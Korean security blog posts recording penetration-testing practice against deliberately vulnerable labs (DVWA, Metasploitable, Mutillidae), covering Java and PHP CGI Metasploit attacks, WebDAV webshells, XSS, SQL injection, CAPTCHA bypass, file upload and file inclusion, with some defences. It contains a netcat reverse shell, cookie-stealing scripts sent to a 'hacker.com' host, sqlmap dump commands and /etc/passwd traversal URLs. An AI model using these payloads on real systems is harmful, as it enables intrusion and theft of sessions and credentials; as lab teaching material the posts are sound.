레이블이 VULNERABLE WEB APPLICATIONS인 게시물을 표시합니다. 모든 게시물 표시
레이블이 VULNERABLE WEB APPLICATIONS인 게시물을 표시합니다. 모든 게시물 표시

2018. 8. 16.

[mutillidae] mutillidae 계정 생성 및 로그인

metasploit 에 mutillidae 가 설치되어 있는데 계정을 생성해도 생성되지 않는다. 그 이유는 metasploit.accounts  라는 테이블이 존재하지 않기 때문이다.
metasploit 에서 /var/www/multillidae/config.inc 에서 데이터베이스 명을 owasp10 으로 수정해야 한다.





# 참조
  • https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide
  • https://www.irongeek.com/i.php?page=videos/web-application-pen-testing-tutorials-with-mutillidae#determine-http-methods-using-netcat

Continue reading

2018. 8. 5.

metasploitable 설치

# Metasploitable 다운로드

  • https://sourceforge.net/projects/metasploitable/?source=typ_redirect
기본 계정 정보 (msfadmin/msfadmin)
root 비밀번호는 따로 설정해야한다. sudo -s 를 통해 root로 접속한후 passwd 명령어로 루트 비밀번호를 지정한다. (toor/toor) 
sudo와 su의 차이점 : sudo 는 일반사용자 자신의 비밀번호를 입력하고, su는 루트 비밀번호를 입력한다. 

root 계정으로 사용자 계정 추가 
- adduser test


** 추가, 윈도우 7 이미지 설치
- 90일 평가기간이 주어지므로 vmware 스냅샷 기능으로 활용하면 된다.
- 제대로된 공격시연을 위해서는 업데이트를 끄고 진행해야 한다.
- [Edit] → [Preferences…] → [Display 선택] → [Autofit guest 체크] 이후 Guest OS를 재부팅 한 이후 부터는 Vmware의 창 크기를 변경하면 해상도가 자동으로 변경되어 적용되는 것을 확인할 수 있다.
  • https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
취약한 어플리케이션 설치

- https://www.exploit-db.com/exploits/638/  -->


실습환경
smail (https://www.exploit-db.com/exploits/638/)
adobe reader 8.1.2 (http://www.oldapps.com/adobe_reader.php?old_adobe=17)
java 7 (http://www.oldapps.com/java.php?app=48F54897524910CE60FBA3E124AE7EAD)

Continue reading

2018. 8. 2.

[metasploitable] java 공격

# 메타스플로잇을 이용한 java 클라이언트 사이드 취약점 공격

메타스플로잇에서 jre17 으로 검색한 후 exploit/multi/browser/java_jre17_jmxbean_2  모듈을 사용한다. 모듈명에서 multi 를 보아하니 윈도우 리눅스 관계없이 적용되는 모듈이란 것을 알 수 있다.

클라이언트 사이드 공격의 경우 칼리리눅스에 서버를 실행하고 개인 사용자가 웹이나 파일을 통해 접속하는 형태로 공격한다.


또한 payload를 java payload java/meterpreter/reverse_http 로 설정한다.
페이로드도 역시 앞에 windows 나 linux 로 설정되는데 java로 설정된 것을 보아 윈도우 리눅스 관계없이 실행되리란 것을 알 수 있다.

java 클라이언트 사이드 공격의 경우는 서버 공격과 달리 쉘이 바로 떨어지지 않는다.




윈도우에서 http://192.168.203.133:8080/jre17 로 접속을 하면 java 버전이 낮다고 경고를 한다. 그러나 이를 무시하고 그냥 접속한다.

다음과 같이 칼리리눅스에 변화가 생긴다. 백그라운드로 세션이 열린것이다


sessions -i 1 을 입력하면 meterpreter 쉘을 얻을 수 있다, shell, screenshot 등의 명령어를 사용 할 수 있다.





Continue reading

[metasploitable] webdav 취약점

칼리리리눅스에서 webdav 관련 공격을 수행할 수 있는 프로그램 : davtest

/usr/bin/davtest -url http://192.168.203.130/dav



공격 결과 php, jsp, html 파일의 업로드가 가능했다. 즉 php 웹쉘 업로드가 가능하다는 것이다.

공격을 수행하면 웹쉘이 올라간 것을 알 수 있다.

웹쉘을 얻게 되면 nc를 이용해서 실제 쉘을 얻는것도 가능하다.

kali linux 에서 nc -lvnp 4444 명령어로 리스닝을 한다.
그리고 웹에서 nc [kali linux ip] 4444 -e /bin/bash 로 연결 할 수 있다.


Continue reading

2018. 8. 1.

[metasploitable] php cgi 취약점 공격

#php cgi 공격
meta ip/phpMyAdmin/?-s 라고 입력하면 소스코드가 다 보여진다.



메타스플로잇으로 공격을 수행해본다. 

use exploit/multi/http/php_cgi_arg_injection
set payload php/meterpreter/reverse_tcp

웹 공격의 경우에는 대부분 이렇게 일반 사용자의 권한을 얻게 된다. 대부분의 웹 서버는 일 반 사용자의 권한으로 실행되기 때문이다.



Continue reading

2018. 7. 26.

[Pentester Lab] 실습용 웹 사이트 구성

# 실습환경 구축

설치 파일 다운로드
  • https://www.pentesterlab.com/exercises/


From SQL Injection to shell 로 접근하여 ISO 파일을 다운로드 한다.

SQL 인젝션 공격에서 시작하여 웹 사이트 호스트 쉘을 얻으내기까지 실습을 할 수 있다.

종류는 Linux 32bit로 변경 / 메모리 1GB / 네트워크 어댑터를 NAT가 아닌 호스트 전용 어댑터로 변경한다. 이렇게 만들게되면 사설 아이피를 할당받게 되어 내부에서만 접근가능하고 칼리 리눅스가 해당 웹사이트에 접근 할 수 있도록 만들 수 있다.


설치가 완료되었다.


칼리리눅스에서도 전원을 끄고 "호스트 전용 어댑터"로 설정하고 타겟 웹사이트 사설 ip를 입력하면 웹 사이트에 접속이 된다.

Continue reading

[DVWA] XSS 공격


자바스크립트 공격시 사용될 수 있는 예시

1)원격지에서 쿠키 빼낼때 사용
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
2) 외부의 해커사이트에 올려둔 악성 스크립트를 실행 할 수 있다.
<script src=http://hacker.com/bad.js></script>


1. Reflected XSS 공격 시나리오

(1) 사용자 쿠키를 빼내는 스크립트주소가 삽입된 피싱 메일을 피해자에게 전송함
(2) 사용자는 스크립트 코드가 삽입된 요청을 서버에 전송
(3) 이때  웹 어플리케이션은 스크립트 코드를 반사시켜 사용자에게 되돌려준다.
(4) 웹 브라우저는 자동으로 스크립트 코드를 실행하게 되고 쿠키를 해커에게 전송한다.
(5) 해커는 사용자의 쿠키를 사용하여 해당 사이트에 접속한다.

[실습]

1) low

입력란에 다음과 같이 입력한다.

  • <script>alert(document.cookie)</script>

해커의 웹서버의 접근 로그를 확인한다.
  • tail -f /opt/lampp/logs/access_log 

<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
위 스크립트 문을 사용하게 되면 document.location 을 통해 뒤에 명시된 http://127.0.0.1 (해커 사이트)로 리다이렉트 시키고 그리고 document.cookie 를 이용해서 쿠키 값을 찍어준다.

서버의 접근 로그를 확인하면 아래와 같이 접근 로그에서 쿠키 값을 확인 할 수 있다.


그리고 쿠키를 이용해서 해당 사용자의 권한으로 웹 사이트를 이용할 수 있다. 여기에서는 리다이렉트가 되어 사용자가 눈치를 챌 수 있게 되어 있지만 실제 해킹에서는 자바스크립트를 이용하여 아무일도 없는것처럼 만들수도 있다.


이를 응용하여 메일에서 링크삽입하여 해당 내용으로 연결되게 할 수 있다.
유의 할 것은 gmail의 경우 아래와 같이 특수문자를 인코딩 하여 처리해야한다. 인코딩하지 않으면 원하는 결과를 얻을 수 없다.

  • http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location=%27http://127.0.0.1/cookie?%27+document.cookie%3C/script%3E

3) high

대문자로해도 XSS 공격이 실행되지 않는다. 이 경우 정규식을 이용해서 대소문자를 구분하고 각 문자사이에 시도되는 우회 공격도 모두 방어하고 있다.


정규식을 이용하여 대소문자를 구분하고 각 문자사이에 시도되는 우회 공격을 방어하고 있다.

이 경우는 스크립트를 막고 있기때문에 스크립트 공격은 적용되지 않는다. 다만 HTML 태그를 이용한 공격이 수행 가능하다. 예를 들어 IMG 태그가 가능하다.

<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>
//소스에 아무런 값(x)을 입력해서 에러가 발생하면 뒤에 정의된 함수가 실행되게 된다.
window.location.assign 구문을 이용하면 리다이렉트를 실행되게 되는데 hacked.php 라는 악성코드가 있는 페이지로 리다이렉트 되게 된다. 실제 해킹 상황에서는 이 소스에 각종 악성 코드를 심어놓을 것이다.

<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>
// onload 에 이 함수를 정의 했기 때문에 페이지가 요청 될때 다음 함수를 실행시키게 된다.

** XSS cheat sheet

4) impossible


htmlspecialchars 함수는 몇몇 특수문자를 html entity 라고 하는 것으로 변경하는 함수이다. html 에서 사용되면 태그나 구분자로의 중요한 의미를 가지는데 바꾸게 되면 웹 페이지서는 특수문자로 표시되지만 기존의 특별한 기능은 수행하지 않게 된다. &, ',",<,> 특수문자가 치환 된다.


소스 보기로 확인 한 결과 특수문자가 치환된 것을 알 수 있다. 페이지상에서는 특수문자로 표시되지만 실제로 스크립트가 실행되지 않게 된다.

대부분의 언어에서 같이 빌트인 라이브러리나 함수를 제공하기 때문에 개발시에 활용해야 한다. 또한 인젝션과 같이 폼에 입력되어야 하는 값을 철저하게 검사하는것도 대응방법이다.

2. Stored XSS 공격
(1) 해커가 방명록에 스크립트 삽입
(2) 사용자는 방명록에 접속하게되고 웹 브라우저는 스크립트를 실행하게 된다.

1) low

다음과 같이 스크립트문을 삽입한다.
(dvwa 에서는 글자수 제한이 걸려 있는데 우클릭 후 inspect element 를 실행하여 maxlength를 수정하면 된다)


그렇게 되면 방명록에 접근하자마자 다음과 같이 쿠키가 서버에 전송이 된다.





Continue reading

2018. 7. 23.

[DVWA] SQL 인젝션

실습 환경 : KALI + DVWA

1) low


정상적인 ID(1) 를 입력하면 위와 같이 사용자 정보가 출력된다.

그러나 특수문자 (') 를 입력하면 위와 같이 에러페이지가 노출된다.


위와 같이 입력받는 $id 값에 아무런 필터링을 수행하지 않기 때문에 에러를 반환하게 된다. 이는 SQL 쿼리문을 조작할 수 있다는 의미이다.

(sql 은 # 이 주석 나머지는 -- 주석)
1' or '1'='1 을 입력하면 다른 사람의 정보를 확인 할 수 있다.




[칼럼 갯수 알아내기]
1) union 이용
1' union select 1,2# 을 입력한 결과 위와 같은 결과가 출력된다. 칼럼 갯수는 2개로 확인되었다.

2) order by 이용
1' order by 3#
2까지는 에러가 안나오는데 3을 입력하면 에러가 출력된다.

[DB정보 알아내기]

// 데이터베이스 명 조회
1' union select schema_name,1 from information_schema.schemata #


  • ** SQL 문 GITHUB 주소 https://github.com/SecuAcademy/webhacking/blob/master/SQL%EC%9D%B8%EC%A0%9D%EC%85%98%EC%8B%A4%EC%8A%B5.txt



// dvwa 데이터베이스의 테이블 명 조회
1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #

// users 테이블 칼럼 조회
1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

// user와 password 조회
1' union select user,password from users#




[blind sql 인젝션]

에러가 나오지 않지만 1' AND 1=1# 와 1' AND 1=2# 의 결과가 차이가 있다.
시간은 굉장히 오래걸리지만 참 거짓의 명제로 하나하나 찾아볼 수 있다.

참 거짓의 표시 메시지가 완전히 같을 수 있다. 이럴때는 sleep이나 waitfor 등으로 시간으로 판별 할 수 있다.

1' AND Sleep(5)#

Sleep 함수가 적용되는것으로 보아 id가 1인 사용자가 존재하는 것으로 확인

6' AND Sleep(5)#

 
Sleep 함수가 적용되지 않은 것으로 보아 ID가 6 이라는 사용자는 존재하지 않는 것으로 확인

** 쿠키는 개발자도구의 console에서 document.cookie 입력하면 현재 쿠키를 확인 할 수 있다.

sql 인젝션 순서

1. sql 인젝션 공격 취약 여부 확인하기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2"

2. 현재 데이터 베이스 이름 찾기 
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" --current-db

3. dvwa 데이터베이스의 테이블 찾기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" -D dvwa --table 

4. users 안에 있는 모든 정보 출력하기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" -D dvwa -T users --dump 


2) medium




아이디 값이 drop down 메뉴의 1,2,3,4,5 숫자로 되어 있는데 문자로 입력되었기 때문에 발생되는 오류 이다.  ($id를 작은 따옴표로 감싸지 않고 있기 때문에 숫자가 입력되어야 함)

때문에 특수문자를 빼고 1 or 1=1 이라고 입력하면 공격이 성공함

1 union select user,password from users# 와 같은 union 공격도 성공함

3) high

limit 함수로 출력되는 값을 1개로 제한했지만 sql 인젝션 공격을 막을 수 없다.

1' or '1'='1'#  뒤에 구문을 주석처리 하면 된다.



** 동적쿼리 vs 파라미터 쿼리

동적쿼리 

파라미터 쿼리 

prepare 함수에 미리 쿼리문의 형태를 작성하고 ID 부분만 bindParam을 이용해서 지정하게 된다. 이런 경우 db는 어떤것이 코드고 어떤것이 데이터인지 알수 있기 때문에 사용자로 부터 입력받은 값을 온전히 문자열로만 처리하기 때문에 sql 공격을 막을 수 있다. 

php 외에도 java의 preparedStatement 함수, .net sqlcommand 함수를 이용하여 시큐어 코딩을 할 수 있다.

Continue reading

2018. 7. 22.

[DVWA] CAPTCHA 우회

실습 환경 : Kali + DVWA
시나리오 : 캡차가 있는 경우 서버에 요청을 할 때, 첫번째로 captcha 확인을 하고 확인이 완료가 되면 비밀번호가 전송 될 것이다. 그러나 이를 캡차 인증을 우회하고 비밀번호만 전달할 수 있다.

1) low

step=1 로 캡차코드가 전송되고 그 이후 step=2로 인증요청을 한다. 만약 1은 무시하고 step=2에서 아래와 같이 요청을 하면 성공한다.



** render 탭 을 많이 사용하면 편리하다.

medium 역시 같은 방법으로 변경 가능하다.




Continue reading

2018. 7. 20.

[DVWA] 파일 업로드 취약점 실습 / 대응방안

실습 환경 : kali + DVWA


1) LOW


웹쉘 파일 다운로드

  • https://github.com/SecuAcademy/webhacking/blob/master/webshell.php 

http://127.0.0.1/dvwa/hackable/uploads/webshell.php?cmd=ls+-al

아무런 대응 방법이 없어서 웹셀업로드 및 실행이 간단히 실행되는 것을 알 수 있다.


2) medium

버프스위트로 잡아준다음 Content type 의 값을 image/jpeg 로 바꿔서 전달하면 업로드가 된다.

3) high

파일 확장자를 jpg, jpeg, png 인지 확인하며 getimagesize 함수로 실제로 이미지 파일인지 확인하고 있다. 
(참고 : http://blog.habonyphp.com/entry/php-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EC%A0%95%EB%B3%B4-%EC%B6%9C%EB%A0%A5%ED%95%98%EB%8A%94-getimagesize-%ED%95%A8%EC%88%98#.W1GhzOSQw2w)

이를 우회하기 위해 다음과 같이 수행한다.  업로드가 올라간 것을 확인하였다. 
그러나 아래와 같이 해당 파일을 실행하면 에러가 발생한다. 


이런 경우 파일 인클루드 공격을 통해 업로드된 경로를 입력하면 공격이 수행된다.
http://localhost/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/webshell.php.jpg&cmd=ls%20-al 와 같이 입력해야 명령이 수행된다.



즉 이 경우에는 파일업로드 + 파일 인클루션 + 패스트래버설 을 조합하여 웹 사이트 공격을 수행 한 것이다.

4) impossible 


high 와 같이 확장자를 검사했지만 아래 소스 부분에서 이미지 파일을 다시 생성하려하고 있다. 그래서 무늬만 jpg 파일의 업로드를 차단 할 수 있다.

        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100); 

그 외에 다음과 같은 대응방법이 있을 수 있다.
  • 업로드되는 파일의 이름을 랜덤하게 생성하는 방법
  • 업로드 되는 서버를 웹 서버와 분리하는 것도 방법이 된다. 
  • 업로드 폴더의 실행권한을 제거

Continue reading

[DVWA] 파일 인클루전 취약점 실습 / 대응방안


정상적인 사용자가 page=file.php 를 요청하는 페이지가 있다
해커는 이를 이용하여 page=http://hacker.com/bad.php 를 요청 할 수 있다. 웹 애플리케이션이 따로 입력값을 검사하지 않으면 bad.php 가 실행되게 된다.

더 자세한 취약점 설명은 아래에서 확인 할 수 있다.
  • http://coashanee5.blogspot.com/2017/02/rfi-lfi.html 

실습 환경 : kali linux + DVWA

1) low 
 
<RFI 공격>
opt/lampp/htdocs 에 bad.php 를 생성한다.




아래와 같이 RFI 공격이 시행되었다.


 system 이라는 함수를 이용하면 패스워드 파일도 확인 할 수 있다.


<LFI 공격>
시스템에 이미 존재하는 파일만 접근 할 수 있어서 FRI 보다 파급력이 약하긴 하다.

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/passwd 를 입력하면 공격이 성공하여 파일 내용이 출력된다. 
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../..//etc/passwd 이것도 가능하다.


2) Medium

미디엄 단계에서는 공격이 성공하지 않고 에러가 발생하는 것을 확인 할 수 있다.


다음과 같은 필터링이 구현되어 있다. http://를 지워버리는 함수이다. 그런데 만약 htthttp://p:// 이렇게 입력하면 http:// 는 지워지고 http://가 생기는 것이다.






3) HIGH

HIGH 버전에서는 이전 공격은 유효하지 않는다. 
소스코드를 보면 파일이름이 file로 시작하지 않거나, include.php 가 아니면 에러를 발생시키게 된다. 


이를 우회하기 위해 file을 먼저 입력하고 진행하면 공격이 수행된다.
  • http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file/../../../../../../../../../etc/passwd
RFI 의 경우인 경우에는 항상 http:// 를 입력해야 하기 때문에 이 경우에는 공격 수행이 불가능하다. 

4) impossible 

입력받는 파일명 만을 직접 지정하여 입력받는 경우는 다른 값을 입력 하게 되면 에러페이지가 출력된다. 



Continue reading

Popular Posts

Recent Posts

Powered by Blogger.